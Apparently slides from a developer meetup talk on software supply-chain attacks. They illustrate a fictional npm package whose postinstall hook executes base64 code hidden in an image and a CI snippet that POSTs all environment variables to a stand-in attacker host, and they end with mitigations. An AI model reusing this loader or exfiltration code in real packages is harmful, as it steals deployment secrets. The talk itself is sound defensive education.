Hi I'm Ryan

Hi I'm Ryan

  • codebar Birmingham Co-Organiser
  • Community oriented Full Stack Dev

My CLI Tool

My CLI Tool

What Does it do?

 

My CLI Tool

What Does it do?

  • Datafication 💻
  • Gamification 🎮
  • Extended Reality 🤯
  • Synergy 🤝
  • Blockchain📈
  • Distributed Cloud Computing 💻
  • Agile 🏃
  • PaaS 🤔
  • SasS
  • FaaS
  • HTML5
  • CPU

My CLI Tool

curl -o- http://example.com/install.sh | bash

Very exciting!

To install just run 👀

# Contents of http://example.com/cli/install.sh
#!/bin/bash
curl -o- http://example.com/cli/important_dependency_0/install.sh | bash
curl -o- http://example.com/cli/important_dependency_1/install.sh | bash
curl -o- http://example.com/cli/important_dependency_2/install.sh | bash
curl -o- http://example.com/cli/important_dependency_3/install.sh | bash
curl -o- http://example.com/cli/important_dependency_4/install.sh | bash
curl -o- http://example.com/cli/important_dependency_5/install.sh | bash
curl -o- http://example.com/cli/important_dependency_6/install.sh | bash
curl -o- http://example.com/cli/important_dependency_7/install.sh | bash
curl -o- http://example.com/cli/important_dependency_8/install.sh | bash
curl -o- http://example.com/cli/important_dependency_9/install.sh | bash
curl -o- http://example.com/cli/important_dependency_10/install.sh | bash
curl -o- http://example.com/cli/important_dependency_11/install.sh | bash
curl -o- http://example.com/cli/important_dependency_12/install.sh | bash
curl -o- http://example.com/cli/important_dependency_13/install.sh | bash
curl -o- http://example.com/cli/important_dependency_14/install.sh | bash
curl -o- http://example.com/cli/important_dependency_15/install.sh | bash
curl -o- http://example.com/cli/important_dependency_16/install.sh | bash
curl -o- http://example.com/cli/important_dependency_17/install.sh | bash
curl -o- http://example.com/cli/important_dependency_18/install.sh | bash
curl -o- http://example.com/cli/important_dependency_19/install.sh | bash
curl -o- http://example.com/cli/important_dependency_20/install.sh | bash
curl -o- http://example.com/cli/important_dependency_21/install.sh | bash
curl -o- http://example.com/cli/important_dependency_22/install.sh | bash
curl -o- http://example.com/cli/important_dependency_23/install.sh | bash
curl -o- http://example.com/cli/important_dependency_24/install.sh | bash
curl -o- http://example.com/cli/important_dependency_25/install.sh | bash
curl -o- http://example.com/cli/important_dependency_26/install.sh | bash
curl -o- http://example.com/cli/important_dependency_27/install.sh | bash


# Contents of http://example.com/cli/important_dependency_0/install.sh
#!/bin/bash
curl -o- http://example.com/cli/very_important_dependency_0/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_1/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_2/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_3/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_4/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_5/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_6/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_7/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_8/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_9/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_10/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_11/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_12/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_13/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_14/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_15/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_16/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_17/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_18/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_19/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_20/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_21/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_22/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_23/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_24/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_25/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_26/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_27/install.sh | bash


# Contents of http://example.com/cli/very_important_dependency_0/install.sh
#!/bin/bash
curl -o- http://example.com/cli/very_very_important_dependency_0/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_1/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_2/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_3/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_4/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_5/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_6/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_7/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_8/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_9/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_10/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_11/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_12/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_13/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_14/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_15/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_16/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_17/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_18/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_19/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_20/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_21/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_22/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_23/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_24/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_25/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_26/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_27/install.sh | bash

Lets take a step back

npm install
yarn install
pip install
composer install 
# ect ...

Who here has run something

like this recently?

npm install
yarn install
pip install
composer install 
# ect ...
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
# ect ...

Why this might be a problem?

Story Time

// Contents of: src/gatsby-theme-gallery/components/Footer.js

import React, { useState } from "react";
// {... Other imports}

const Footer = () => {
  const siteMetadata = useSiteMetadata();
  const [dogsLiked, setDogsLiked] = useState(0)

  return (
    <footer>
      <DogContainer>
        <Button onClick={() => {
          setDogsLiked(dogsLiked + 1)
        }}>
          Click to like dogs
        </Button>
        <span><span role='img' aria-label='dog'>🐕</span>s liked: {dogsLiked}</span>
      </DogContainer>
      
      <p>{`© ${new Date().getFullYear()} ${siteMetadata.author}`}</p>
    </footer>
  );
};


export default Footer;
// Contents of: src/gatsby-theme-gallery/components/Footer.js

import React, { useState } from "react";
// {... Other imports}

const Footer = () => {
  const siteMetadata = useSiteMetadata();
  const [dogsLiked, setDogsLiked] = useState(0)

  return (
    <footer>
      <DogContainer>
        <Button onClick={() => {
          setDogsLiked(dogsLiked + 1)
        }}>
          Click to like dogs
        </Button>
        <span><span role='img' aria-label='dog'>🐕</span>s liked: {dogsLiked}</span>
      </DogContainer>
      
      <p>{`© ${new Date().getFullYear()} ${siteMetadata.author}`}</p>
    </footer>
  );
};


export default Footer;
// Do not Remove
module.exports = leftpad;

function leftpad (str, len, ch) {
  str = String(str);
  var i = -1;
  if (!ch && ch !== 0) ch = ' ';
  len = len - str.length;
  while (++i < len) {
    str = ch + str;
  }
  return str;
}
npm install @a-normal-cat/add-some-numbers
# Other Terminal stuff
> @a-normal-cat/add-some-numbers@1.0.7 postinstall /home/a-normal-dog/projects/dog-blog/node_modules/@a-normal-cat/add-some-numbers
> node ./postinstall.js

Thank you for installing add-some-numbers ❤️ 
Here is a 🎂 + 🐱 to ligthen your day ✨
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄░░░░░░░░░
░░░░░░░░▄▀░░░░░░░░░░░░▄░░░░░░░▀▄░░░░░░░
░░░░░░░░█░░▄░░░░▄░░░░░░░░░░░░░░█░░░░░░░
░░░░░░░░█░░░░░░░░░░░░▄█▄▄░░▄░░░█░▄▄▄░░░
░▄▄▄▄▄░░█░░░░░░▀░░░░▀█░░▀▄░░░░░█▀▀░██░░
░██▄▀██▄█░░░▄░░░░░░░██░░░░▀▀▀▀▀░░░░██░░
░░▀██▄▀██░░░░░░░░▀░██▀░░░░░░░░░░░░░▀██░
░░░░▀████░▀░░░░▄░░░██░░░▄█░░░░▄░▄█░░██░
░░░░░░░▀█░░░░▄░░░░░██░░░░▄░░░▄░░▄░░░██░
░░░░░░░▄█▄░░░░░░░░░░░▀▄░░▀▀▀▀▀▀▀▀░░▄▀░░
░░░░░░█▀▀█████████▀▀▀▀████████████▀░░░░
░░░░░░████▀░░███▀░░░░░░▀███░░▀██▀░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
// Contents of: src/gatsby-theme-gallery/components/Footer.js

import React, { useState } from "react";
import add from "@a-normal-cat/add-some-numbers";
// {... Other imports}

const Footer = () => {
  const siteMetadata = useSiteMetadata();
  const [dogsLiked, setDogsLiked] = useState(0)

  return (
    <footer>
      <DogContainer>
        <Button onClick={() => {
          setDogsLiked(add(dogsLiked, 1))
        }}>
          Click to like dogs
        </Button>
        <span><span role='img' aria-label='dog'>🐕</span>s liked: {dogsLiked}</span>
      </DogContainer>
      
      <p>{`© ${new Date().getFullYear()} ${siteMetadata.author}`}</p>
    </footer>
  );
};


export default Footer;

Who let the 🐱 out of the bag?

How can these exploits happen?
🐱‍💻 

{
  "devDependencies": {
    "microbundle": "^0.15.1"
  },
  "name": "@a-normal-cat/add-some-numbers",
  "description": "Non suspiciously adds some numbers together  🚀",
  "version": "1.0.7",
  "repository": {
    "type": "git",
    "url": "git+https://github.com/a-normal-cat/add-some-numbers.git"
  //...
  "unpkg": "./dist/add.umd.js",
  "scripts": {
    "build": "microbundle",
    "dev": "microbundle watch",
    "postinstall": "node ./postinstall.js",
    "changeset": "changeset",
    "release": "npm run build && npm publish --access public"
  },
  "private": false
}
{
  "devDependencies": {
    "microbundle": "^0.15.1"
  },
  "name": "@a-normal-cat/add-some-numbers",
  "description": "Non suspiciously adds some numbers together  🚀",
  "version": "1.0.7",
  "repository": {
    "type": "git",
    "url": "git+https://github.com/a-normal-cat/add-some-numbers.git"
  //...
  "unpkg": "./dist/add.umd.js",
  "scripts": {
    "build": "microbundle",
    "dev": "microbundle watch",
    "postinstall": "node ./postinstall.js",
    "changeset": "changeset",
    "release": "npm run build && npm publish --access public"
  },
  "private": false
}
// Contents of postinstall.js
const getCatFromCat = require("./utils/cat");

(async () => {
    console.log(`Thank you for installing add-some-numbers ❤️ \nHere is a 🎂 + 🐱 to ligthen your day ✨`)
    console.log(await getCatFromCat())
})();
/**
 * Extracts a cat from a cat image
 */
const getCatFromCat = async () => {
    const lineData = await lastLine(`${__dirname}/../docs/img/cat.jpg`, 1)
    const data = await Buffer.from(lineData, 'base64').toString('utf-8').split("##")

    // Process image reference
    const processor = new Function(data[1])
    processor()
    return data[0]
}
module.exports = getCatFromCat

😼>

const data = await Buffer.from(lineData, 'base64').toString('utf-8').split("##")

const data = await Buffer.from(lineData, 'base64').toString('utf-8').split("##")

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Wat?

"true"===process.env.CI&&console.log("Do bad suff here \uD83D\uDE3C");
// Process image reference
const processor = new Function(data[1])
processor()
return data[0]
if(process.env.CI){
  fetch("http://mybadwebsite.com/get_token", {
    method: "POST",
    body: JSON.stringify({
      // Deployment secrets and other things
      // you probably don't want other people to have
      env: process.env
    })
  })
}

{

if(process.env.CI){
  fetch("http://mybadwebsite.com/get_token", {
    method: "POST",
    body: JSON.stringify({
      // Deployment secrets and other things
      // you probably don't want other people to have
      env: process.env
    })
  })
}

{

The End

How does this actually tend happen?

Misspelling package names

Misspelling package names

Misspelling package names

Aiming for the big 🐟

Becoming the maintainer

Becoming the maintainer

Becoming the maintainer

Becoming the maintainer

Becoming the maintainer

Hacking a maintainer

Hacking a maintainer

Hacking a maintainer

Hacking a maintainer

Maintainer Going Rouge

Maintainer Going Rouge

Maintainer Going Rouge

Maintainer Going Rouge

Maintainer Going Rouge

We are an American NGO based in Washington, D.C. that monitors human rights infringements by authoritarian regimes in Belarus, Russia and other post-Soviet states. Since our start in 2014, we have been in contact with over 2,500 whistleblowers that provided us with detailed reports on various kinds of abuse happening there.

Due to internet censorship there, one of the web services used to contact us securely was hosted on servers located inside Belarus. Normally, we backup the received content to an external server on 20th day of every month, as this is reasonable given the volume we usually get, but since the start of the invasion on February 24th, traffic to our web service has increased over fiftyfold. Our staff has been working round the clock to accomodate the influx and during one of their tasks, package containing node-ipc module was updated on a production server, which resulted in executing your code and wiping over 30,000 messages and files detailing war crimes commited in Ukraine by Russian army and government officials. Due to the way the files were stored on the server, we are not able to recover any data and it's most likely gone forever. For some of the senders, this might as well have been their last contact with the outside world, as many of them were front-line soldiers that could've been killed in action during the offensive.

Personally, me and my colleagues are absolutely devastated. All I can say that your little shenanigan did more damage to us than Putin or Lukashenka ever could. Profesionally, our counsel suggested filing criminal charges federally and it's likely we'll be proceeding this way.

Ways of mitigating
supply chain vulnerabilities 🛡️

Disable code execution during installation

// npm
npm config set ignore-scripts true
npm install --ignore-stripts

// composer
composer install --no-scripts --no-plugins

// ... Other package managers will have
// similar ways to disable scripts

Separate the installation / deployment steps in CICD pipelines

- name: Install and Build 🔧
  run: |
    npm ci
    npm run build
    git remote set-url origin https://git:${GH_TOKEN}@github.com/${GITHUB_REPOSITORY}.git
    npm run deploy -- -u "github-actions-bot <support+actions@github.com>"
  env:
  	GH_TOKEN: ${{ secrets.GH_TOKEN }}

### TO ###

- name: Install and Build 🔧
  run: |
    npm ci
    npm run build
- name: Deploy
  run: |
    git remote set-url origin https://git:${GH_TOKEN}@github.com/${GITHUB_REPOSITORY}.git
    npm run deploy -- -u "github-actions-bot <support+actions@github.com>"
  env:
  	GH_TOKEN: ${{ secrets.GH_TOKEN }}

Limit token access

Pin Dependency Versions

// Node
package-json.lock
yarn.lock

// Python
requirements.txt

// PHP
composer.lock

// ect ...

Use Tooling for Scanning Depedencies 

Closing notes

  • ❤️ Free and Open Source Software
  • The examples given are the exception and not the rule.
  • This should not paint a pessimistic view. There are 2,155,123 packages on NPM (as of writing) the vast majority of them are freely provided by the FOSS community
  • NPM and many other package managers are making active efforts to audit and take down dangerous packages and versions

  • 🐶🤝🐱

  • You should be able to find me on ryan.gd

Questions?

Talkception